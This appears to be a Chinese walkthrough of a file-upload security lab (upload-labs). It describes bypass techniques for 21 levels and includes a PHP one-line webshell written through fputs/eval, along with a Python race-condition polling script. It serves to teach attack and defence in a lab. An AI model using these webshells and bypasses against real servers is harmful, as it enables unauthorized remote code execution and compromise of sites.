实验环境
-
系统环境:windows2003
-
软件:phpstudy2016
-
apache+php版本:php 5.2.17 apache 2.4.3
-
magic_quotes_gpc = Off
-
php.ini中开启extension=php_exif.dll
-
其他配置均为默认
第一关 前端JS绕过
-
上传一个php一句话文件,直接弹出不允许上传,尝试前端绕过。
-
按F12打开调控台,删除下面这个验证js代码。
-
上传成功,返回图片信息即路径地址。
第二关 MIME-TYPE验证绕过
-
上传一句话图片木马,用burpsuit抓包,将后缀名改为php。
-
上传成功,返回图片信息及路径。
第三题 黑名单检测(特殊16进制后缀绕过)
-
第三关的本意其实是想上传一些后缀名为php、php2、php3、php5、phtml等文件去绕过黑名单的,但是apache的配置文件里并没有配置将这些后缀的文件当做php解析
-
尝试上传.htaccess文件,内容为SetHandler application/x-httpd-php,是成功上传的,但是被重命名了,则无法利用
-
则尝试用特殊16进制后缀截断尝试,例如0xf7
-
上传成功,
尝试用蚁剑连接,成功连接。
第四题 黑名单检测 (.htaccess文件绕过)
-
同样尝试上传.htaccess文件,内容同样为SetHandler application/x-httpd-php,上传成功,并且返回信息显示没有重命名,可以利用。
-
可以直接上传一句话图片木马,上传成功,并且返回了路径信息。
-
尝试用蚁剑连接,成功连接。
第五题 黑名单过滤(后缀名特殊字符多写)
-
这道题将特殊字符例如空格,点,::$DATA以及.htaccess文件都给过滤了,如下图,均返回失败
-
那么尝试将特殊字符重写呢。例如1.php. . (两个点中甲加个.)发现上传成功。
-
因为Windows的特性,在创建文件的时候,末尾的点会被去掉,则剩下了1.php,我们尝试用蚁剑进行连接,连接成功。
第六题 黑名单过滤(大小写绕过)
-
还是照第五题的思路对几个特殊后缀字符进行尝试,同样都不能绕过,则尝试对后缀名进行大小写,例如1.pHP,上传成功。
-
因Windows特性,创建文件时,忽略大小写,实际保存的文件名后缀即为php,使用蚁剑进行连接,成功。
第七题 黑名单过滤(空格绕过)
-
还是照第五题的思路对几个特殊后缀字符进行尝试,发现空格可以绕过,返回了路径信息。
-
在windows特性中,创建文件时,忽略结尾的空格,实际保存的文件名后缀即为php,使用蚁剑进行连接,成功。
第八题 黑名单过滤(点绕过)
-
还是照第五题的思路对几个特殊后缀字符进行尝试,发现点可以绕过,返回了路径信息。
-
在windows特性中,创建文件时,忽略结尾的店,实际保存的文件名后缀即为php,使用蚁剑进行连接,成功。
第九题 黑名单过滤(流文件绕过)
-
还是照第五题的思路对几个特殊后缀字符进行尝试,发现::$DATA可以绕过,返回了路径信息。
-
在windows特性中,创建文件时,忽略结尾流文件后缀,实际保存的文件名后缀即为php,使用蚁剑进行连接,成功。
第十题 黑名单过滤(查看源码发现和第五题一样,则略过)
第十一题 黑名单过滤(后缀名双写绕过)
-
直接上传一个php文件,发现可以上传,但是查看返回路径发现,只有文件名,没有文件后缀名。则认为他是将php替换为空了。
-
那么我们抓包将后缀名改成双写即可绕过,即1.pphphp,返回成功以及路径信息。
第十二题 白名单 get型%00截断
-
先上传一个php文件,返回信息发现只允许上传.jpg|.png|.gif类型文件!认定为白名单验证。
-
则我们抓包,发现是GET型将路径信息暴露出来,我们尝试用00截断,直接在save_path接收的值后面加上,1.php%00 并且将文件名改为1.jpg。成功上传,返回路径信息
-
因为网站的原因GET提交参数到服务器系统中,系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。用蚁剑进行连接尝试,成功。
第十三题 白名单 POST型%00截断
-
先上传一个php文件,返回信息发现只允许上传.jpg|.png|.gif类型文件!认定为白名单验证。
-
则我们抓包,发现是POST型将路径信息暴露出来,我们尝试用00截断,先将上传文件名后缀改为jpg,然后将save_path接收的值改为../upload/1.php (有个空格),然后调整到hex中,将空格改为00,发包,发现上传成功,返回路径信息
-
尝试用蚁剑进行连接,成功,原理和get型一样。
第十四题 文件头检测
-
这道题主要检测的是文件头,我们上传的所有文件都会被转化为图片格式,我们需要上传一句话图片木马,如下图,将文件后缀改为php上传成功,但返回的为jpg格式文件。
-
根据页面提示点开文件包含漏洞页面。
-
根据页面提示通过GET请求的file参数填写我们的图片地址。
-
在hackbar处用POST提交我们的一句话密码和参数,返回成功。
第十五题 文件头检测 同十四题,只不过代码函数用的是getimagesize()类型验证
第十六题 文件头检测 同十四题,只不过代码函数用的是exif_imagetype()类型验证
这道题需要开启文章开头环境说明中的extension=php_exif.dll
第十七题 二次渲染绕过
-
先尝试上传一个gif格式的一句话图片木马,上传成功,并且可以右击图片保存路径信息。
-
用文件包含漏洞解析发现是并没有成功。
-
将图片下载下来放到winhex中和我们上传的一句话图片木马进行比较,找相同的地方并且修改为自己的一句话。
-
再对新修改的一句话图片木马上传,上传成功。
-
用文件包含漏洞页面尽心共包含,返回成功。
第十八题 条件竞争上传
-
这道题提示我们代码审计,通过代码审计发现对上传文件后缀名做了白名单验证,只允许上传jpg、gif、png格式的文件,如果不是这三个类型的文件就会删掉。
-
那么我们可以尝试使用竞争条件上传,用burp一直上传文件,用python脚本一直方位临时文件,临时文件内容为我们写入一句话到它的目录。
- 其中phthon代码如下:
# coding:utf-8
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
test = requests.get("http://192.168.44.129:9096/upload/upload/success.php") //写入上传位置路径地址
if "260ca9dd8a4577fc00b7bd5810298076" in test.text:
print("OK")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()
- 其中上传的文件写入代码如下
<?PHP
echo md5(success);
fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST[123])?>');
?>
-
用burpsuit进行抓包,清除掉payload位置。并且将payload选择no payload,将负载调成500。设置好后就可以开始了。
-
同时将我们的python文件运行。
第十九题 条件竞争上传
-
同样为条件竞争,利用和第十八题一样。
第二十题 保存名称可控,00截断
-
这道题,可以看到名称是可以自行修改的,我们尝试上传图片马,并且修改文件名问php后缀,发现并不能上传上去
-
那么我们尝试抓包修改上传名为upload-19.php ,有个空格,我们再进入hex讲空格的20修改为00进行截断,发现上传成功。
-
使用蚁剑进行连接尝试,发现成功了。
第二十一题 数组拼接后缀名
这道题需要代码审计,通过审计发现,先检查文件类型,后检查是否上传了文件名没有则为文件的名字,判断是否为数组,若不是则以点分割返回一个数组,取数组最后一位数为后缀,文件保存为reset输出数组第一个数,和最后一位数保存
绕过方法
- php修改后缀jpg上传抓包
- 文件类型已经为image/jpeg
- 修改上传路径为一个数组,当获取文件后缀时为jpg,合成文件名为数组第一个,和最后一个,当我们修改jpg为数组的2时,1此时是空的数组一共有三位数,但是实际只有两位,所有获取到的值为空
- 此时上传后的文件为upload-20.php.